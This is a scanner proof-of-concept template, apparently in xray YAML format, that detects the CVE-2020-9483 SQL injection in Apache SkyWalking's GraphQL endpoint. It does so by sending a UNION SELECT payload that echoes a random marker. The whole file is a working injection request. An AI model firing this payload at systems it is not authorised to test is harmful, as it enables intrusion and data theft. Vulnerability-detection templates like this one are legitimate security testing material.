name: poc-yaml-skywalking-cve-2020-9483-sqli manual: true transport: http set: r1: randomInt(10000, 99999) rules: r0: request: cache: true method: POST path: /graphql headers: Content-Type: application/json body: | {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','{{r1}}','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}} expression: response.status == 200 && response.body.bcontains(bytes("~" + string(r1) + "~")) expression: r0() detail: author: sndav(https://github.com/Sndav) links: - https://paper.seebug.org/1485/